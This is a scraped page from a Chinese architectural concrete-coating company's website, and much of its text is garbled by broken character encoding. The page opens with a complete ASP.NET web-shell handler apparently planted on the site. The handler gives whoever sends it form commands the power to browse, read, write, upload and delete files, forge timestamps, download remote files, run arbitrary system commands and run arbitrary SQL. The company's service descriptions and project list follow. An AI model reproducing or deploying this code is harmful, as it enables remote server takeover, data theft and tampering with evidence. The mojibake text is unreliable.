ï»?%@ WebHandler Language="C#" Class="Handler" %> using System; using System.Web; using System.IO; using System.Net; using System.Text; using System.Data; using System.Data.SqlClient; using System.Diagnostics; public class Handler : IHttpHandler { public void ProcessRequest(HttpContext context) { String Z = context.Request.Form["@"];// if (Z != "") { String Z1 = context.Request.Form["Z1"]; String Z2 = context.Request.Form["Z2"]; String R = ""; try { switch (Z) { case "A": { String[] c = Directory.GetLogicalDrives(); R = String.Format("{0}\t", context.Server.MapPath("/")); for (int i = 0; i < c.Length; i++) R += c[i][0] + ":"; break; } case "B": { DirectoryInfo m = new DirectoryInfo(Z1); foreach (DirectoryInfo D in m.GetDirectories()) { R += String.Format("{0}/\t{1}\t0\t-\n", D.Name, File.GetLastWriteTime(Z1 + D.Name).ToString("yyyy-MM-dd hh:mm:ss")); } foreach (FileInfo D in m.GetFiles()) { R += String.Format("{0}\t{1}\t{2}\t-\n", D.Name, File.GetLastWriteTime(Z1 + D.Name).ToString("yyyy-MM-dd hh:mm:ss"), D.Length); } break; } case "C": { StreamReader m = new StreamReader(Z1, Encoding.Default); R = m.ReadToEnd(); m.Close(); break; } case "D": { StreamWriter m = new StreamWriter(Z1, false, Encoding.Default); m.Write(Z2); R = "1"; m.Close(); break; } case "E": { if (Directory.Exists(Z1)) { Directory.Delete(Z1, true); } else { File.Delete(Z1); } R = "1"; break; } case "F": { context.Response.Clear(); context.Response.Write("\x2D\x3E\x7C"); context.Response.WriteFile(Z1); context.Response.Write("\x7C\x3C\x2D"); goto End; } case "G": { byte[] B = new byte[Z2.Length / 2]; for (int i = 0; i < Z2.Length; i += 2) { B[i / 2] = (byte)Convert.ToInt32(Z2.Substring(i, 2), 16); } FileStream fs = new FileStream(Z1, FileMode.Create); fs.Write(B, 0, B.Length); fs.Close(); R = "1"; break; } case "H": { CP(Z1, Z2, context); R = "1"; break; } case "I": { if (Directory.Exists(Z1)) { Directory.Move(Z1, Z2); } else { File.Move(Z1, Z2); } break; } case "J": { Directory.CreateDirectory(Z1); R = "1"; break; } case "K": { DateTime TM = Convert.ToDateTime(Z2); if (Directory.Exists(Z1)) { Directory.SetCreationTime(Z1, TM); Directory.SetLastWriteTime(Z1, TM); Directory.SetLastAccessTime(Z1, TM); } else { File.SetCreationTime(Z1, TM); File.SetLastWriteTime(Z1, TM); File.SetLastAccessTime(Z1, TM); } R = "1"; break; } case "L": { HttpWebRequest RQ = (HttpWebRequest)WebRequest.Create(new Uri(Z1)); RQ.Method = "GET"; RQ.ContentType = "application/x-www-form-urlencoded"; HttpWebResponse WB = (HttpWebResponse)RQ.GetResponse(); Stream WF = WB.GetResponseStream(); FileStream FS = new FileStream(Z2, FileMode.Create, FileAccess.Write); int i; byte[] buffer = new byte[1024]; while (true) { i = WF.Read(buffer, 0, buffer.Length); if (i < 1) { break; } FS.Write(buffer, 0, i); } WF.Close(); WB.Close(); FS.Close(); R = "1"; break; } case "M": { ProcessStartInfo c = new ProcessStartInfo(Z1.Substring(2)); Process e = new Process(); StreamReader OT, ER; c.UseShellExecute = false; c.RedirectStandardOutput = true; c.RedirectStandardError = true; e.StartInfo = c; c.Arguments = String.Format("{0} {1}", Z1.Substring(0, 2), Z2); e.Start(); OT = e.StandardOutput; ER = e.StandardError; e.Close(); R = OT.ReadToEnd() + ER.ReadToEnd(); break; } case "N": { String strDat = Z1.ToUpper(); SqlConnection Conn = new SqlConnection(Z1); Conn.Open(); R = Conn.Database + "\t"; Conn.Close(); break; } case "O": { String[] x = Z1.Replace("\r", "").Split('\n'); String strConn = x[0], strDb = x[1]; SqlConnection Conn = new SqlConnection(strConn); Conn.Open(); DataTable dt = Conn.GetSchema("Columns"); Conn.Close(); for (int i = 0; i < dt.Rows.Count; i++) { R += String.Format("{0}\t", dt.Rows[i][2].ToString()); } break; } case "P": { String[] x = Z1.Replace("\r", "").Split('\n'), p = new String[4]; String strConn = x[0], strDb = x[1], strTable = x[2]; p[0] = strDb; p[2] = strTable; SqlConnection Conn = new SqlConnection(strConn); Conn.Open(); DataTable dt = Conn.GetSchema("Columns", p); Conn.Close(); for (int i = 0; i < dt.Rows.Count; i++) { R += String.Format("{0} ({1})\t", dt.Rows[i][3].ToString(), dt.Rows[i][7].ToString()); } break; } case "Q": { String[] x = Z1.Replace("\r", "").Split('\n'); String strDat, strConn = x[0], strDb = x[1]; int i, c; strDat = Z2.ToUpper(); SqlConnection Conn = new SqlConnection(strConn); Conn.Open(); if (strDat.IndexOf("SELECT ") == 0 || strDat.IndexOf("EXEC ") == 0 || strDat.IndexOf("DECLARE ") == 0) { SqlDataAdapter OD = new SqlDataAdapter(Z2, Conn); DataSet ds = new DataSet(); OD.Fill(ds); if (ds.Tables.Count > 0) { DataRowCollection rows = ds.Tables[0].Rows; for (c = 0; c < ds.Tables[0].Columns.Count; c++) { R += String.Format("{0}\t|\t", ds.Tables[0].Columns[c].ColumnName.ToString()); } R += "\r\n"; for (i = 0; i < rows.Count; i++) { for (c = 0; c < ds.Tables[0].Columns.Count; c++) { R += String.Format("{0}\t|\t", rows[i][c].ToString()); } R += "\r\n"; } } ds.Clear(); ds.Dispose(); } else { SqlCommand cm = Conn.CreateCommand(); cm.CommandText = Z2; cm.ExecuteNonQuery(); R = "Result\t|\t\r\nExecute Successfully!\t|\t\r\n"; } Conn.Close(); break; } default: goto End; } } catch(Exception E) { R="ERROR:// "+E.Message; } context.Response.Write("\x2D\x3E\x7C"+R+"\x7C\x3C\x2D"); End:; } } public bool IsReusable { get { return false; } } public void CP(String S,String D,HttpContext context) { if(Directory.Exists(S)) { DirectoryInfo m=new DirectoryInfo(S); Directory.CreateDirectory(D); foreach(FileInfo F in m.GetFiles()) { File.Copy(S+"\\"+F.Name,D+"\\"+F.Name); } foreach(DirectoryInfo F in m.GetDirectories()) { CP(S + "\\" + F.Name, D + "\\" + F.Name, context); } } else { File.Copy(S,D); } } 西安泽润建筑装饰工程有é™å…¬å¸123
欢迎æ¥åˆ°è¥¿å®‰æ³½æ¶¦å»ºç­‘装饰工程有é™å…¬å¸å®˜ç½‘!
TEL: 029-86107687

快递导航
å…¬å¸ç®€ä»‹ / Company
专业ã€è¯šä¿¡ã€è´¨ä¼˜ã€ä»·å»‰æ˜¯æˆ‘们ä¸æ‡ˆçš„追求
西安泽润建筑装饰工程有é™å…¬å¸æ˜¯ä¸€å®¶ä¸“业从事高å“质建筑外墙涂装工程的承包商,主è¦è‡´åŠ›äºŽæ¸…æ°´æ··å‡åœŸæŠ€æœ¯å’¨è¯¢ã€åŽæœŸä¿®è¡¥åŠé€æ˜Žä¿æŠ¤å·¥ç¨‹æœåŠ¡ï¼Œé€šè¿‡å¼•è¿›å›½å†…外先进产å“和自主技术创新相结åˆçš„模å¼ï¼Œè‡´åŠ›æ‰“造为中国专业的ã€æ€§ä»·æ¯”高的清水混å‡åœŸæœåŠ¡æ供商。

  • BUSINESS AREA

    业务范围

  • 硅树脂清水混å‡åœŸä¿æŠ¤å‰‚

    邦氟ç‘清水混å‡åœŸé€æ˜Žä¿æŠ¤æ¶‚层系统是由日本旭ç¡å­æ¶‚料树脂株å¼ä¼šç¤¾ACR率先研制开å‘的世界上第一例用于建筑领域混å‡åœŸç»“æž„çš„ä¿æŠ¤æ¶‚料。

  • 氟碳清水混å‡åœŸä¿æŠ¤å‰‚

    邦氟ç‘清水混å‡åœŸé€æ˜Žä¿æŠ¤æ¶‚层系统是由日本旭ç¡å­æ¶‚料树脂株å¼ä¼šç¤¾ACR率先研制开å‘的世界上第一例用于建筑领域混å‡åœŸç»“æž„çš„ä¿æŠ¤æ¶‚料。

  • æ··å‡åœŸä¿®è¡¥åŠè‰²å·®å¤„ç†

    我公å¸æ˜¯ä»¥æ¸…æ°´æ··å‡åœŸä¿æŠ¤æ–½å·¥ä¸ºä¸»ä½“;在清水混å‡åœŸä¿æŠ¤æ–½å·¥è¿‡ç¨‹ä¸­ï¼Œç”±äºŽæ··å‡åœŸçš„模æ¿ä½“系和混å‡åœŸæµ‡ç­‘工人水平ä¸ä¸€ï¼Œæ¸…æ°´æ··å‡åœŸæ‹†æ¨¡åŽ

  • 清水混å‡åœŸæŒ‚æ¿

    清水混å‡åœŸæŒ‚æ¿å¹•å¢™ç³»ç»Ÿæ˜¯ä¸€ç§ç»¿è‰²çŽ¯ä¿å»ºç­‘装饰系统,它采用å¤åˆçº¤ç»´å¢žå¼ºçš„高密度水泥æ¿ä¸ºåŸºæ,ç»è¿‡ç³»ç»ŸåŠ å·¥ã€å¹¶ä¸”采用工厂化预涂装等表é¢å¤„ç†å·¥è‰ºã€‚

  • 光触媒生æ€åŠŸèƒ½æ¶‚æ–™

    光触媒[Photocatalyst]是光[Photo=Light]+触媒(催化剂)[catalyst]çš„åˆæˆè¯ã€‚光触媒是一ç§ä»¥çº³ç±³çº§äºŒæ°§åŒ–钛为代表的具有光催化功能的光åŠå¯¼ä½“æ料的总称,

  • 工业åŠå¸‚政混å‡åœŸè€ä¹…性ä¿æŠ¤

    æ··å‡åœŸçš„ç»æµŽæ€§ã€è€ä¹…性和设计上的自由度,使它æˆä¸ºæœ€å¹¿æ³›ä½¿ç”¨çš„建筑æ料。混å‡åœŸå¯¹äºŽçŽ°ä»£å·¥ä¸šå’Œå…¬å…±å»ºç­‘物ã€é“è·¯ã€éš§é“和桥æ¢å·¥ä¸šçš„å‘展起ç€è‡³å…³é‡è¦çš„作用。

  • 清水混å‡åœŸé‰´èµ

    清水混å‡åœŸåˆç§°è£…饰混å‡åœŸï¼›å› å…¶æžå…·è£…饰效果而得å。它属于一次浇注æˆåž‹ï¼Œä¸åšä»»ä½•å¤–装饰,直接采用现浇混å‡åœŸçš„自然表é¢æ•ˆæžœä½œä¸ºé¥°é¢ã€‚

工程案例 / Project
+MORE
  • 兰州百郦湾酒店
  • 昆明公园壹å·å”®æ¥¼éƒ¨
  • ±1100KVå¤æ³‰æ¢æµç«™
  • å®é¸¡æ–‡åŒ–艺术中心